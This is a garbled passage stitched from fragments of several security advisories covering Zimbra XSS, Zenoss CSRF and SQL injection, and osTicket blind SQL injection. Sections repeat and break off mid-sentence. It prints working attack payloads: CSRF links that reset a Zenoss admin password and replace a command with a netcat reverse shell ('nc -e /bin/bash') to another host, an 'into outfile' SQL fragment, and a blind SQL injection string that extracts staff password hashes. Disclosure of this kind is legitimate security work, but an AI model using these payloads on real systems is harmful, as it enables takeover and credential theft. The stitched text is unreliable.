         Class: XSS
Authentication: Valid session required

  I. BACKGROUND
     Zimbra [1] is an open-source and commercial messaging and collaboration software
     suite.

   Advisory ID: NGENUITY-2010-002 - Zenoss Multiple Admin CSRF
   Application: Zenoss 2.3.3
        Vendor: Zenoss
Vendor website: http://www.zenoss.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

  I. BACKGROUND
     Zenoss is a commercial and open source systems and network monitoring tool. Much
     of the applications functionality is accessible via a front end web application.

 II. DETAILS
     Multiple CSRF vulnerabilities exist that can allow for arbitrary
     commands to be executed on the Zenoss server as well as reset the Zenoss
     admin password.

     Attack scenario: If an administrator has an active Zenoss
     session and visits one of these links or visits a malicious page that
     contains resources to point to these URL's

     1. Reset user password to a known state Cross-Site Request Forgery CSRF,
     in this case the password is reset to letmein.

http://172.16.28.5:8080/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1&

        defaultAdminRole=ZenUser&defaultPageSize:int=40&email=&eventConsoleRefresh:
        boolean=True&manage_editUserSettings:method=Save&netMapStartObject=&pager=&
        password=letmein&sndpassword=letmein&zenScreenName=editUserSettings

     2. Change and execute a command CSRF.
     Change the ping command to be a netcat shell out to a remote system. In
     this case an internal system running on port 443

        http://172.16.28.5:8080/zport/dmd/userCommands/ping?command:text=nc -e
        /bin/bash 172.16.28.6 443&commandId=ping&description:text=&
        manage_editUserCommand:method=Save&zenScreenName=userCommandDetail

     Execute the new "ping" command:

http://172.16.28.5:8080/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping

  I. BACKGROUND

     effectively manages the configuration, health and performance of
     networks, servers and applications through a single, integrated

    sanitized user provided input. The following URL parameters are injectable: severity,

      offset=0&count=60 into outfile "/tmp/z"

Vendor website: http://www.osticket.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

  I. BACKGROUND
    "osTicket is a widely-used open source support ticket system. It seamlessly
    integrates inquiries created via email and web-based forms into a simple
    easy to use multi-user web interface. Easily manage, organize and archive

    clients with accountability and responsiveness they deserve." [1]

  II. DETAILS
    osTicket prior to v1.6 RC5 fails to validate / escape staff usernames which
    can be abused to execute a blind sql injection attack by an unauthenticated

    They have also provided patching instructions [2] should you be unable to perform
    a full upgrade at this time.

    One sample attack string might look similar to the following:
    '+(SELECT IF(SUBSTRING(passwd,1,1)=CHAR(48),BENCHMARK(1000000,SHA1(1)),0) passwd
    FROM ost_staff where staff_id=1) and '1'='1
